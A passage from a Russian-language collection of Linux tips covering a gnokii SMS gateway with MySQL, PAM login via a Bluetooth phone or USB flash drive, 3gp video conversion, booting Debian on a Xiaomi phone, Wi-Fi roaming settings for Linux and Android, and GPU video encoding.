    полноценного SMS-шлюза, на лету обрабатывающего входящие SMS. Для хранения
    отправляемых и получаемых сообщений SMSD может использовать СУБД MySQL,
    PostgreSQL (плагины gnokii-smsd-mysql и gnokii-smsd-pgsql) или файловое
    хранилище (--module file).
    
    Ставим недостающие пакеты:
    
       sudo apt-get install gnokii-smsd-mysql mysql-server
    
    Создаем БД
    
      mysql -u smsgw
      > create database smsgw;
    
    Создаем структуру БД, используя поставляемый в комплекте с gnokii-smsd-mysql пример:
    
      mysql -u smsgw smsgw < /usr/share/doc/gnokii-smsd-mysql/sms.tables.mysql.sql
    
    в результате будут созданы три простые таблицы inbox, outbox и multipartinbox,
    структура которых имеет следующий вид:
    
       CREATE TABLE inbox (
         id int(10) unsigned NOT NULL auto_increment,
         number varchar(20) NOT NULL default '',
         smsdate datetime NOT NULL default '0000-00-00 00:00:00',
         insertdate timestamp DEFAULT CURRENT_TIMESTAMP,
         text text,
         phone tinyint(4),
         processed tinyint(4) NOT NULL default '0',
         PRIMARY KEY  (id)
       );
       CREATE TABLE outbox (
         id int(10) unsigned NOT NULL auto_increment,
         number varchar(20) NOT NULL default '',
         processed_date timestamp DEFAULT 0,
         insertdate timestamp DEFAULT CURRENT_TIMESTAMP,
         text varchar(160) default NULL,
         phone tinyint(4),
         processed tinyint(4) NOT NULL default '0',
         error tinyint(4) NOT NULL default '-1',
         dreport tinyint(4) NOT NULL default '0',
         not_before time NOT NULL default '00:00:00',
         not_after time  NOT NULL default '23:59:59',
         PRIMARY KEY  (id)
       );
       CREATE TABLE multipartinbox (
         id int(10) unsigned NOT NULL auto_increment,
         number varchar(20) NOT NULL default '',
         smsdate datetime NOT NULL default '0000-00-00 00:00:00',
         insertdate timestamp DEFAULT CURRENT_TIMESTAMP,
         text text,
         phone tinyint(4),
         processed tinyint(4) NOT NULL default '0',
         refnum int(8) default NULL,
         maxnum int(8) default NULL,
         curnum int(8) default NULL,
         PRIMARY KEY  (id)
       );
      
    Запускаем smsd:
    
      /usr/sbin/smsd -u smsgw -d smsgw -c localhost -m mysql -f /var/log/smsdaemon.log
    
    
    где "-u" - имя пользователя БД, "-d" - имя базы, "-с" - хост, а "-m" - модуль хранения.
    
    Отправив теперь SMS на подключенный к компьютеру телефон, smsd сразу перехватит
    его и запишет в базу.
    
    выполнив "select * from inbox;"  увидим примерно такое:
    
      | id | number | smsdate | insertdate |text | phone | processed |
      |  1 | +7909343156224 | 2011-01-20 10:12:05 | 20110120130123 | Test | NULL | 0 |
    
    Для отправки сообщения достаточно добавить новую запись в таблицу outbox, smsd
    сразу его подхватит его и отправит. Например:
    
       insert into outbox (number,text) values('+7909344355', 'Тест);
    
    
    В заключение можно отметить, что smsd  может работать без СУБД, используя
    файловое хранилище. Пример запуска:
    
       /usr/sbin/smsd -m file -c spool-директория
    
    Для отправки SMS в spool-директории нужно создать файл с любым именем в формате:
       номер
       текст
    
    после успешной отправки файл будет удален.
    
    Через опцию "-u" можно указать путь к скрипту, который будет выполняться при
    каждом получении SMS. Иначе входящие сообщения будут выводиться в стандартный
    выходной поток в формате "действие номер дата < текст".
    
    Дополнение: Вместо gnokii можно использовать интенсивно развивающийся форк [[http://wammu.eu/
    gammu]], содержащий поддержку некоторых дополнительных телефонов.
    
     
    ----* Проверка GSM/UMTS оператора в chat-скрипте (доп. ссылка 1)   Автор: Kirill Zabarniuk  [комментарии]
     
    В ситуации работы через нескольких операторов для проверки активного
    GSM/UMTS-оператора, к которому в данный момент подключился модем, в chatscript
    можно использовать следующую конструкцию:
    
       '' ATZ
       OK-AT-OK "AT+COPS=?" UTEL3G ''
       OK-AT-OK AT+CGDCONT=1,"IP","unlim.utel.ua"
       OK-AT-OK "ATDT*99***1#"
       CONNECT ''
       '' \d\c
    
    Список экзотичных GPRS/3G/UMTS/HSDPA  AT-команд можно посмотреть здесь.
    
     
    ----* Аутентификация при помощи Bluetooth телефона или USB Flash в Debian/Ubuntu Linux (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3) (доп. ссылка 4)   [комментарии]
     
    В качестве ключа для авторизации можно использовать MAC адрес телефона с Bluetooth интерфейсом.
    Для избежания перехвата MAC-адреса, Bluetooth адаптер телефона должен работать
    только в пассивном режиме.
    Тем не менее метод можно использовать только в ситуациях не предъявляющих
    серьезных требований к безопасности
    (например, для входа на гостевую машину или только для выполнения sudo).
    
    Если bluetooth система не настроена, устанавливаем пакеты bluetooth, bluez-utils и libbluetooth2.
    Выполнив команду hcitool scan определяем адрес нужного телефона, переведя
    телефон в режим достижимости:
    
       hcitool scan
       Scanning...
       00:0E:08:BA:14:04 Moto
    
    Ставим пакет libpam-blue, если в вашем дистрибутиве его нет - 
    загружаем исходные тексты с http://pam.0xdef.net/ и компилируем.
    
    Создаем файл конфигурации /etc/security/bluesscan.conf
    
        general {
           timeout = 10;
        }
        mylogin = {
           name = Moto;
           bluemac = 00:0E:08:BA:14:04;
        } 
    
    где mylogin имя пользователя для которого будет осуществлен автоматический вход.
    
    В /etc/pam.d/common-auth добавляем строку
    
       auth sufficient pam_blue.so
    
    Добавив эту строку в /etc/pam.d/sudo можно добиться выполнения sudo без пароля
    при наличии телефона под рукой.
    
    Настройка аутентификации через USB Flash производится аналогично, 
    только вместо PAM модуля pam_blue.so используется pam_usb.so, доступный из пакета libpam_usb.
    
    В /etc/pam.d/common-auth добавляем:
    
       auth sufficient pam_usb.so
    
    Далее подключаем USB Flash и создаем ключи для пользователя mylogin:
    
       pamusb-conf --add-device myusbflash
       pamusb-conf --add-user mylogin
    
    Также можно вручную отредактировать файл конфигурации /etc/pamusb.conf.
    
    Проверяем:
    
       pamusb-check mylogin
       ...
       Access granted.
    
    Инструкцию по аутентификации с использованием датчика отпечатков пальцев можно найти на странице 
    http://www.opennet.ru/tips/info/1586.shtml
    
     
    ----* Выбор и настройка VoIP usb-телефона под linux. (доп. ссылка 1)   Автор: Сергей Вольхин  [комментарии]
     
    Выбор.
    
    Меня интересовала не просто работа микрофона и динамика, но и как минимум клавиатуры.
    
    Выбор пал на Skypemate p1K (в девичестве Yealink), как не на очень дорогой апппарат,
    при этом имеющий как полноценную клавиатуру ("как у мобильника"), так и простенький ЖК-дисплей.
    Ко всему прочему поддержка именно этого девайса в linux наиболее развита.
    
    Настройка.
    
    Поддержка собственно звука не требует практически никакой настройки.
    Девайс определяется как новая звуковая карта:
    
        -bash-2.05b# cat /proc/asound/cards
        ....
        USB-Audio - VOIP USB Phone
        Yealink Network Technology Ltd. VOIP USB Phone at usb-0000:00:03.0-3
    
    В SIP-клиенте достаточно выбрать например "/dev/dsp2" в качеcтве динамика/микрофона.
    
    Что касается клавиатуры, то с этим ситуация несколько сложней.
    
    Есть несколько проектов разной степени работоспособности:
    
    1. SkypeMate (http://skypemate.ru/support/docs/) - официальный драйвер. 
    Бинарный, только для FedoraCore 3 (требует старый dbus-0.23).
    Плюс ко всему только для Skype. Отдельные джидаи запускали его на современных дистрибутивах
    с подменой либы dbus, с периодическими сегфолтами, я с этим заморачиваться не стал.
    
    2. USBB2K-API (http://savannah.nongnu.org/projects/usbb2k-api/) - неофициальный
    драйвер. По отзывам пользователей - работает,
    однако у меня он не завелся. Девайс определялся, команды на телефон шли,
    однако обратной связи не наблюдалось. При этом на форумах отписывали пользователи с аналогичной
    проблемой, разработчики пытались им даже помочь, но дело там так и не сдвинулось с мертвой точки.
    
    3. yealink-module (http://savannah.nongnu.org/forum/forum.php?forum_id=4319) -
    как видно из названия модуль для ядра.
    Последняя версия из CVS у меня собралась лишь после жесткой правки исходников и 
    после этого кончено нормально не работала, однако релиз за номером 0861 собрался сразу и 
    без проблем был установлен. Замечу, что поддержка клавиатуры в нем реализована
    просто и универсально:
    клавиши телефона дублируют клавиши клавиатуры (цифровые, backspace, enter и т.д.)
    
    Оригинал статьи (со ссылками) здесь: http://damnsmallblog.blogspot.com/2007/07/usb-linux.html 
    
     
    ----* Подготовка 3gp видео для сотового телефона (доп. ссылка 1)   Автор: Ivan A-R  [комментарии]
     
    Многие современные мобильные телефоны поддерживают проигрывание и запись1) файлов в формате 3GP. 
    Этот формат разработан специально для применения в портативных устройствах с
    небольшим разрешением экрана.
    
    К счастью у нас есть свободный кросплатформенный конвертер видеоформатов ffmpeg 
    
    В Debian GNU/Linux или Ubuntu поставить ffmpeg можно из репозитория. 
    Версию для windows можно скачать по адресу http://ffdshow.faireal.net/mirror/ffmpeg/ 
    
    Теперь перейдём собственно к конвертации: 
    
        ffmpeg -i input.avi -s qcif -r 12 -ac 1 -ar 8000 -b 30 -ab 12 output.3gp
    
    Здесь ключи определяют: 
       -i input.avi - имя входного файла;
       -s qcif -r 12 - кодировать видео с разрешением 176&#215;144 и 12 кадров в секунду;
       -ac 1 -ar 8000 - кодировать звук в один канал (моно) с частотой 
          дискретизации 8000 (это даст максимальную воспроизводимую частоту в 4000 Гц);
       -b 30 -ab 12 - установить видео битрейт 30 кбит/с и аудио битрейт 12 кбит/с;
       output.3gp - результирующий файл.
    
    Кодирование идёт достаточно быстро и по окончании результирующий файл готов к отправке на телефон. 
    Как перенести файл на телефон это уже личное дело Вас и телефона. На свой Siemens CX75 
    я переношу файлы с помощью кардридера и RS-MMC карты на 512Mb. 
    
    Хочу предостеречь от создания роликов большого размера. К примеру попытка проиграть 
    на моём телефоне ролик в 17Mb (~50мин.) привела к зависанию и выключению тела.
    
     
    ----* Запуск Linux на Android-телефоне с SD-карты без перепрошивки   Автор: Павел Отредиез  [комментарии]
     
    В данной заметке рассказано как запустить ванильный Debian Linux на телефоне не
    прошивая его и не портя установленный Android.
    Мой подопытный аппарат Xiaomi Redmi note 11. Телефон не нужно рутовать,
    достаточно разблокировать загрузчик. Запускать будем с помощью fastboot (да для
    каждого запуска потребуется подключать телефон к компьютеру), а рутовую
    файловую систему будем подцеплять с SD-карты.
    
    Настройка среды
    
    Создадим рабочий каталог:
    
       mkdir ~/redmi11
       cd ~/redmi11/
    
    
    Скачаем нужное ПО:
     
       sudo apt install qemu-user-static
       sudo apt build-dep linux-source
       git clone https://android.googlesource.com/platform/system/tools/mkbootimg
       git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9
       cd aarch64-linux-android-4.9
       git switch android-msm-barbet-4.19-android12-qpr1
       cd ~/redmi11/
    
    , так же https://developer.android.com/tools/releases/platform-tools в каталог ./platform-tools.
    
    Пропишем для удобства работы пути в ./path.sh:
    
       export PATH=$PATH:$(pwd)/mkbootimg:$(pwd)/platform-tools
    
    Подключим пути в текущий bash:
    
       . path.sh
    
    
    Ядро
    
    В ядре, которое идёт в составе Android, выключены некоторые важные подсистемы,
    поэтому загрузиться с ним по-простому не получится и надо компилировать свою версию.
    
    Надо найти исходники ядра для своего телефона, для Xiaomi с этим почти нет проблем.
    
       git clone https://github.com/MiCode/Xiaomi_Kernel_OpenSource.git
       cd Xiaomi_Kernel_OpenSource/
       git switch spes-r-oss
    
    Для моей версии отсутствовал каталог techpack, он должен был быть, и ядро не
    собиралось до конца. Я нашёл techpack в аналогичной версии исходников на
    GitHub. Надо сказать, что исходники ядра Xiaomi имеют много мелких ошибок,
    связанных с включением "" <> хидеров и прочего. Я их все муторно правил, пока
    не добился компиляции без ошибок.
    Получим конфиг ядра с телефона, для этого подключим его к компьютеру и выполним:
    
       adb shell zcat /proc/config.gz > .config
    
    Сделаем два скрипта - для конфигурации ядра и для компиляции.
    ./menuconfig.sh:
    
    
       PATH="$PATH:$HOME/redmi11/aarch64-linux-android-4.9/bin"
       ARCH=arm64 CROSS_COMPILE=aarch64-linux-android- make menuconfig
    
    ./build.sh:
    
       PATH="$PATH:$HOME/redmi11/aarch64-linux-android-4.9/bin"
       ARCH=arm64 CROSS_COMPILE=aarch64-linux-android- make -j 8 targz-pkg
    
    Теперь изменим кофигурацию ядра и скомпилируем его. Во-первых в нем отключена
    поддержка devtmpfs, включим её
    
       CONFIG_DEVTMPFS=y
    
    Включим виртуальные консоли:
    
       CONFIG_TTY=y
       CONFIG_VT=y
       CONFIG_CONSOLE_TRANSLATIONS=y
       CONFIG_VT_CONSOLE=y
    
    Фрэймбуфер:
    
       CONFIG_DRM_FBDEV_EMULATION=y
       CONFIG_FRAMEBUFFER_CONSOLE=y
    
    Чтобы консоль не заваливало сообщениями ядра:
    
      CONFIG_CONSOLE_LOGLEVEL_DEFAULT=4
      CONFIG_CONSOLE_LOGLEVEL_QUIET=3
      CONFIG_MESSAGE_LOGLEVEL_DEFAULT=3
    
    
    ROOT файловая система
    Используем debootstrap для получения файловой системы:
    
       cd ~/redmi11/
       mkdir rootfs
       sudo debootstrap --arch=arm64 stable ./rootfs http://mirror.yandex.ru/debian
       sudo chroot rootfs/ tasksel install gnome-desktop
    
    Скопируем полученное ядро в ./rootfs/boot и модули если есть в ./rootfs/lib/modules.
    
    Отредактируем ./rootfs/etc/fstab:
    
       LABEL=debian	/	ext4	rw,defaults,noatime,nodiratime	0 1
    tmpfs /tmp tmpfs rw,nosuid,nodev,noexec,mode=1777
    
    Создадим initrd:
    
       sudo chroot rootfs/ apt install initramfs-tools
       sudo mount --bind /dev rootfs/dev
       sudo chroot rootfs/ update-initramfs -k all -c
       sudo umount rootfs/dev
    
    Теперь для удобства сделаем образ нашей файловой системы, для этого используем скрипт install.sh:
    
       #!/bin/sh
    
       mkdir -p mnt
       dd if=/dev/zero of=debian-arm64.ext4 bs=4096 count=2097152 #8Gb
    /sbin/mkfs.ext4 -L debian -O^has_journal debian-arm64.ext4
       sudo mount -o loop debian-arm64.ext4 ./mnt
       sudo cp -ar ./rootfs/* ./mnt/ 
       sudo umount ./mnt
    
    На SD карточке у меня два раздела - первый FAT32, и второй под Linux. Запишем образ на SD карточку:
    
       sudo dd if=debian-arm64.ext4 of=/dev/YourSD2 bs=512 status=progress
       sudo partprobe
       sudo resize2fs /dev/YourSD2
    
    
    Запуск
    
    Для запуска нам нужно подготовить Android boot image, используем скрипт mkbootimg.sh:
    
       mkbootimg.py \
       --header_version 3 \
       --os_version 12.0.0 \
       --os_patch_level 2023-04 \
       --kernel ./rootfs/boot/vmlinuz-4.19.157-tiny \
       --ramdisk ./rootfs/boot/initrd.img-4.19.157-tiny \
       --cmdline 'console=tty0 quiet root=LABEL=debian rootwait' \
       --board '' \
       -o boot-debian.img
    
    
    Здесь мы запускаем ядро с rootfs с меткой "debian", как мы и делали образ файловой системы.
    
    Теперь собственно запуск. Подключим телефон к компьютеру и выполним (не бойтесь
    ничего не записывается на него):
    
       adb reboot bootloader
       fastboot boot boot-debian.img
    
    
    P.S. А с драйверами я не разобрался.
    
     
    ----* Бесшовная миграция (роуминг) Wi-Fi для клиентов Linux и Android (доп. ссылка 1) (доп. ссылка 2)   Автор: sfstudio  [комментарии]
     
    С wpa_supplicant из GIT теперь можно настроить в Linux прозрачную миграцию,
    позволяющую переключиться на другую точку доступа без разрыва соединений
    приложений, в том числе продолжается вещание мультикастовоего IPTV, а
    выполнение iperf в большинстве случаев не умирает, а лишь деградирует по
    скорости в момент миграции. При этом даже корректно отрабатывает вариант с
    несколькими AP в разных поддиапазонах 5ГГц.
    
    Для настройки роуминга потребуется (на примере Mageia Linux 5):
    
    1) wpa_supplicant из git. Можно взять подготовленный автором src.rpm
    
        wget http://wive-ng.sf.net/downloads/wpa_supplicant-2.6-1.mga5.src.rpm 
    
    и собрать командой
    
       rpmbuild --rebuild wpa_supplicant-2.6-1.mga5.src.rpm
    
    2) переключить его на использование nl80211 вместо wext, драйвер вашего
    wifi-модуля должен полностью поддерживать nl80211 (при использовании wext
    всегда будут долгие периоды реконнекта с потерей соединений пользовательских
    приложений) так как требуется, чтобы SME был на уровне wpa_supplicant.
    
    Большинство дистрибутивов по умолчанию использует WEXT, т.е. до сих пор далеко
    не все драйверы wifi, даже входящие в состав ядра, умеют nl80211 (iwlwifi точно
    умеют, ath*k тоже должны, в rt28xxx  по факту даже сканирование не работает).
    Проверить, что используется на данный момент, можно, посмотрев, с какими
    опциями запущен supplicant
    
       ps ax | grep wpa_supplicant 
    
    должен выдать что-то типа 
    
       25201 ? Ss 0:01 /usr/sbin/wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant.conf -D nl80211 -f /var/log/wpa_supplicant.log
    
    Для этого редактируем /etc/sysconfig/network-scripts/ifcfg-имя_интерфейса
    
    Важно установить:
    
       WIRELESS_WPA_DRIVER=nl80211
       WIRELESS_WPA_REASSOCIATE=no
       MII_NOT_SUPPORTED=yes
       USERCTL=yes
    
     В /etc/wpa_supplicant.conf везде отключаем рандомизацию MAC. Включаем фоновое сканирование:
    
       bgscan="simple:30:-60:200"
    
    Т.е. при уровне ниже -60 будем начинать время от времени "щупать эфир" на
    предмет наличия кандидатов для миграции и по возможности мигрировать. Вместо
    фонового сканирования можно было бы использовать данные из RRM, но этой логики
    в wpa_supplicant пока нет.
    
    
    Также следует обратить внимание на используемый DHCP-клиент. Важно, чтобы он не
    сбрасывал адрес на интерфейсе (иначе сбросится состояние соединений приложений)
    по сигналу от ifplugd. Я использую штатный "
    "Internet Systems Consortium DHCP Client 4.3.3-P1". Ну и естественно, точки
    доступа и опорная сеть должны нормально отрабатывать ситуацию с перемещением клиентов.
    
    В прошивке Wive-NG для этого сделано абсолютно всё, что возможно. Больше ничего
    не требуется. Проверено на адаптерах Intel I3160/I7260. Выпинывать их
    принудительно не надо - оно само инициирует переход без всяких проблем. Под
    Windows эти карты ведут себя аналогично, т.е. без проблем мигрируют с
    сохранением пользовательских соединений, достаточно лишь в настройках драйвера
    увеличить агрессивность роуминга.
    
    
    
    
    Настройка миграции Android-устройств с беспроводными чипами от Atheros/Qualcomm.
    
    
    Достаточно давно atheros/qualcomm добавили в свои драйверы вполне внятную
    логику handover (миграции внутри плоской L2 сети, с точки зрения клиента,  с
    множественными AP, на которых установлен один SSID). Собственно, тот самый
    роуминг, да ещё и бесшовный (ну если используемые AP не совсем плохи и умеют
    моментально передавать в опорную сеть критичные данные, например, ARP-ы для
    обновления ARP-таблиц на устройствах в сети + ещё ряд условий на тему кривости).
    
    Теперь о проблеме. Handover есть, сеть с нормальными AP есть, но чтобы клиент
    мигрировал, по-прежнему требуется пинок, иначе висит до последнего... Что
    делать и кто виноват?
    
    Для продолжения нужно само устройство, обязательно рутованное, обязательно
    использующее радио на чипе qualcomm (например yota phone 2).
    
    Перемонтируем разделы в RW, идём в /system/etc/wifi, видим там файл
    WCNSS_qcom_cfg.ini - собственно, это основной конфигурационный файл, читаемый
    драйвером wifi.
    
    Драйверы QCA сами реализуют слои SME/MLME, не экспортируя эти функции на плечи
    wpa_supplicant. И вся логика управления подключениями и миграцией возложена на
    них. Wpa_supplicant в Android собран с NO_ROAMING, а значит можно ожидать, что
    это сделано так же у всех абсолютно чипмэйкеров для Android (файлы
    конфигурации, естественно, разные, или же, как у Broadcom, интересующие нас
    параметры к исправлению задаются при компиляции, и изменить их на лету невозможно).
    
    Первая настройка, которая нас будет интересовать в файле конфигурации, это:
    
       # default value of this parameter is zero to enable dynamic threshold allocation
       # to set static roming threshold uncomment below parameter and set vaule
    
       gNeighborLookupThreshold=78
    
    Эта настройка напрямую отвечает за то, когда клиент начнёт пытаться искать
    кандидата (форсирует сканирование, или запросит список ближайших AP по RRM и
    проведёт короткую процедуру скана для подтверждения).  И значение у нас
    выставлено -78дБ...
    
    И вроде бы всё хорошо, но... Мы как обычно забыли, что то, что слышит клиент и
    то, что слышит AP, может отличаться по уровню на десятки дБ. Обычно в
    android-клиентах передатчик в 20МГц полосе может выдать 16дБм, в 40МГц в лучшем
    случае 14дБм. Тогда как со стороны AP обычно имеем как минимум 20дБм дури даже
    в 40МГц полосе (обычно определяется законодательными ограничениями конкретной
    страны, для РФ 20дБм в 2.4ГГц и 23дБм в 5ГГц независимо от ширины, хоть в 80МГц
    эти 23дБм, хоть в 20МГц). Из опыта, при таком раскладе в среднем перекос по
    уровням в прямой видимости уже в 10 метрах будет составлять около 10-15 Дб, а
    если есть преграды, то запросто перевалит и за 30 Дб.
    
    Но возьмём 10дБ для простоты. Т.е. когда клиент видит AP с уровнем в -78дБ, AP
    видит клиента уже с уровнем около -88дБ. Стоит говорить, что нормальной работы
    при таком раскладе уже не будет (особенно в 2.4ГГц в зашумленном эфире офиса)?
    TCP, требующий подтверждения доставки, просто встанет колом, голос начнёт
    квакать и т.д.
    
    Что бы этого избежать (плюс приземлить побольше клиентов, ведь для этого надо
    заставить всех работать на самой ближней AP, желательно с максимальными рэйтами
    и без повторов передачи), админ в сети наверняка на AP настроил handoff с
    уровнем эдак в -75дБ. Т.е. при -75дБ RSSI handoff со стороны AP застрелит
    такого клиента (при этом на клиенте уровень от AP будет аж -65дБ, т.е. далеко
    до заветных -78дБ, когда он решит подумать мигрировать). Т.е. будет link beat,
    сброс стэйтов и обрыв соединений на пользовательской стороне.
    
    Ещё пример - когда AP видит клиента с уровнем в -75дБ, клиент видит AP с
    уровнем -65дБ!! Или, когда на клиенте видим -78дБ, то со стороны AP клиент
    будет слышен лишь с  уровнем -88дБ.
    
    Т.е. что бы обеспечить нормальный сервис, мы должны отстреливать клиента сильно
    раньше, чем он сам подумает мигрировать (имеется в виду, с вышеозначенными
    умолчаниями в драйвере).
    
    Или же нам придётся снижать мощность на AP что бы "уравнять" шансы, что в
    условиях грязного эфира может привести к катастрофическому падению SNR и как
    следствие бульканью, хрипам и прочему.
    
    А вот чтобы этого не происходило, достаточно выше обозначенную переменную
    поправить, выставив значение в диапазоне -65 ~ -70дБ.
    
    Побочный эффект - чуть упадёт скорость у клиента, так как чаще будет
    выполняться фоновые сканирования, плюс незначительно вырастет
    энергопотребление. Зато у него "будет повод" начать смотреть, кто есть вокруг,
    и попытаться мигрировать, не дожидаясь, пока его выпнет точка доступа.
    
    Следующий блок:
    
       # CCX Support and fast transition
     
       CcxEnabled=0
       FastTransitionEnabled=1
    
    
    CcxEnabled - это поддержка rrm ccx location-measurement, т.е. определения
    местоположения. Зачастую бесполезна и лишь будет расходовать аккумулятор.
    
    FastTransitionEnabled - поддержка 802.11R, однако в старых драйверах не полная,
    но хотя бы умеет учитывать MDIE при миграции (работает всегда, если переменная
    в значении 1). Заметим, что FT, а именно ускорение фазы аутентификации просто
    при взводе значения переменной в 1 работать не начнёт, так как требуется ещё
    пропатчить Supplicant  и обвязку андроидную (как это делает, например, Samsung
    в своих топовых моделях). Однако, учёт MDIE - уже польза. Включаем.
    
    Не забываем также отключить 802.11d,  иначе встретим много чудес в 5ГГц с DFS
    каналами. Пусть использование или не использование оных лежит на совести админа сети.
    
       # 802.11d support
    
       g11dSupportEnabled=0
    
    Далее блок:
    
       # Legacy (non-CCX, non-802.11r) Fast Roaming Support
       # To enable, set FastRoamEnabled=1
       # To disable, set FastRoamEnabled=0
    
       FastRoamEnabled=1
    
    Включает возможность миграции в любых сетях. Иначе, логика  handover будет
    активироваться, только если клиент видит, что AP вещает поддержку 802.11R в
    IECAP. И/или используется WPA*-Enterprise.
    
    
    В новых драйверах, поставляемых в SDK для Android 6.0.1, добавлена ещё одна прекрасная опция:
    
       # Handoff Enable(1) Disable(0)
    
       gEnableHandoff=0
    
    Эта опция (если выставить в 1) позволяет обрабатывать handoff с пинком со
    стороны AP как сигнал к миграции, т.е. банально не генерируется LinkBeat при
    kickout со стороны AP, а сразу выполняется попытка перескочить на следующую
    подходящую выбранную сканом AP, и только если не получилось сгенерировать Link
    Beat системе (т.е. о том, что его выпнули (kickout), знает только драйвер, и
    сразу пытается мигрировать, если не получается, то тогда уже сообщает системе,
    что всё, связи с этой сетью больше нет, надо выбрать другой SSID из тех,
    которые знает Android).
    
    Пользовательские соединения при этом останутся целыми (ну разве что iperf
    пострадает, но мессенджеры и голос останутся работать, правда в случае голоса
    будет квак).
    
    Это слегка нарушает "стандарт" 802.11, но в случае миграции очень полезная
    штука. После её включения, устройство прозрачно (с точки зрения запущенных
    приложений) сможет мигрировать даже в сетях, где весь роуминг построен
    исключительно на отстрелах клиента по уровню.
    
    А вот ещё одна крайне полезная настройка:
    
       #Check if the AP to which we are roaming is better than current AP in terms of RSSI.
       #Checking is disabled if set to Zero.Otherwise it will use this value as to how better
       #the RSSI of the new/roamable AP should be for roaming
    
       RoamRssiDiff=5
    
    Дельта уровней между AP для выбора кандидата при миграции. Больше значение -
    меньше вероятность прилететь назад на ту же AP, но более отложенный старт
    миграции. Установленных по умолчанию 5дБ  маловато. Нужно иметь дельту около
    8-10дБ. Для начала выставим 8.
    
       RoamRssiDiff=8
    
    Ещё интересная штука:
    
       #Beacon Early Termination (1 = enable the BET feature, 0 = disable)
    enableBeaconEarlyTermination=1
    
       beaconEarlyTerminationWakeInterval=11
    
    Эта опция откидывает все маяки, если в этих фрэймах  не взведён бит TIM, а
    клиент спит. Т.е. во сне клиент не может вести пассивный сбор данных о соседних
    AP. Хорошо для аккумулятора - вероятно, плохо для миграции (надо глубже копать драйвер).
    
       gActiveMaxChannelTime=60
       gActiveMinChannelTime=30
       gActiveMaxChannelTimeConc=60
       gActiveMinChannelTimeConc=30
    
    Настройки времени прослушивания эфира при активном сканировании поканально, в
    мс. Больше значения - больше времени уйдёт на сканирование всего диапазона.
    Меньше время - быстрее просканируем, но можем половину не услышать.
    
    RRM включается так:
    
       # 802.11K support
       gRrmEnable=1
       gRrmOperChanMax=8
       gRrmNonOperChanMax=8
       gRrmRandIntvl=100
    
    Правда, я на доступных мне железках (в смысле, на тех, в которых было выключено
    и включил, на SGS A5 2017 запросы есть, но там и так всё с миграцией
    более-менее) так и не дождался ни одного запроса с использованием RRM от Yota
    Phone. Видимо, отключена поддержка при сборке драйвера.
    
    Это основное, что касается миграции.
    
    Да и ещё:
    
       # 1: Enable standby, 2: Enable Deep sleep, 3: Enable Mcast/Bcast Filter
       gEnableSuspend=3
    
    По умолчанию обычно 0. В таком режиме клиент при переходе в режим сна (часто
    просто при выключении экрана) полностью тушит RF часть, временно просыпаясь
    только для того, чтобы AP его по таймауту не выпнула. При этом, реализация
    такова, что и роумингу зачастую становится плохо. Следует установить его в 3,
    т.е. фильтровать броадкасты и мультикасты во сне, и только.
    
    В файле конфигурации ещё много интересных параметов. Например, куча настроек
    для энергосбережения, если поотключать которые, миграция становиться более
    весёлой и точной, но батарея...
    
    Ну и на закуску:
    
       #Channel Bonding
       gChannelBondingMode24GHz=1
       gChannelBondingMode5GHz=1
       gShortGI20Mhz=1
       gShortGI40Mhz=1
    
    Поддержка широких каналов (>20МГц) + поддержка SGI. Зачастую для 2.4ГГц
    поддержка 40МГц отключена, т.е. gChannelBondingMode24GHz установлен в 0. Что,
    во-первых, не позволяет работать на максимальных рэйтах (150Мбит/с для 1T1R в
    2.4ГГц при 40МГц, будет только 72). Увы, проблема в том, что видимо для первого
    соединения значение перекрывается откуда-то ещё, и даже выставив
    gChannelBondingMode24GHz=1, сразу мы 150Мбит/с не видит. Но после первой же
    миграции драйвер плюёт на всех и взлетает в 40МГц полосе.
    
    Также установка gChannelBondingMode24GHz решает проблему совместимости с
    некоторыми 2.4ГГц AP на Xiaomi и One+ (как обычно, намутили с анонсами в
    зависимости от региона, в итоге AP и клиент не могут договориться, в какой
    полосе разговаривать).
    
    Не забываем после правки сохранить, перемонтировать назад системный раздел в RO и перезагрузиться.
    
     

       Обработка изображений и видео

    ----* Кодирование видео при помощи GPU из файла, запись с экрана и стриминг   Автор: Zenitur  [комментарии]
     
    Драйвер Intel использует API под названием VA-API, драйвер Amdgpu - OpenMAX,
    NVIDIA - Nvenc. А драйверы fglrx и nouveau не имеют поддержки аппаратного энкодера.
    
    1. Кодирование при помощи GPU (из файла или запись с экрана)
    
    Несколько лет назад существовал проект Gears on Gallium, который проводил
    бенчмарки драйверов и игр (преимущественно опенсорсных, но бывали и исключения
    - например эти ребята были первыми, кто опубликовал результаты тестов Doom 2016
    под Wine Staging + AMDGPU-PRO + Vulkan), формировал дистрибутив Linux в форме
    Docker-контейнера с последним графическим стеком (из GIT), и много чего ещё...
    К сожалению, проект закрыт. Сайт проекта - оффлайн, но остался YouTube-канал.
    
    Одним из их проектов было создание патча для GStreamer, оптимизирующего
    "узкие места" при кодировании видео, значительно снижая нагрузку на CPU. Патч доступен
    на GitHub.
    
    Также по ссылке доступен скрипт rec.sh, являющейся простой графической
    оболочкой на KDialog/zenity. При помощи неё можно начать скринкаст, задав
    следующие настройки: а). Через что кодировать (Software, VA-API (Intel),
    OpenMAX (AMD open source)) б). Полный экран или окно? в). Куда сохранять? В
    итоге формируется команда наподобие такой:
    
       gst-launch-1.0 -e ximagesrc use-damage=0 ! queue ! video/x-raw,format=BGRx ! videoconvert ! video/x-raw,format=I420,framerate=30/1 ! queue ! vaapiencode_h264 ! h264parse ! queue ! matroskamux ! progressreport ! filesink location=/home/username/Videos/screencast_current_date.mkv
    
    Хотя написано "1.0", на самом деле это приложение называется так же и в
    Gstreamer 1.2, и в 1.4, и т.д. Чтобы команда работала, в вашей системе должен
    быть установлен пакет gstreamer-plugins-vaapi.
    
    Также на AMD и Intel можно кодировать при помощи mpv - вот сравнение
    производительности gst и mpv.
    
    Кодировать на GPU от NVIDIA можно при помощи ffmpeg начиная с версии 2.6.
    Вот пример команды:
    
       ffmpeg -f x11grab -r 30 -s 1920x1080 -i :0.0 -f alsa -i pulse -ac 2 -ar 48000 -acodec libfdk-aac -vcodec nvenc -preset hq -tune film -threads 0 output.mkv
    
    Я использую параметры "-preset hq -tune film", узнать остальные можно, выполнив
    "ffmpeg -h encoder=nvenc"
    
    2. Стриминг в Twitch
    
    rec.sh не знает как это делать, поэтому вручную:
    
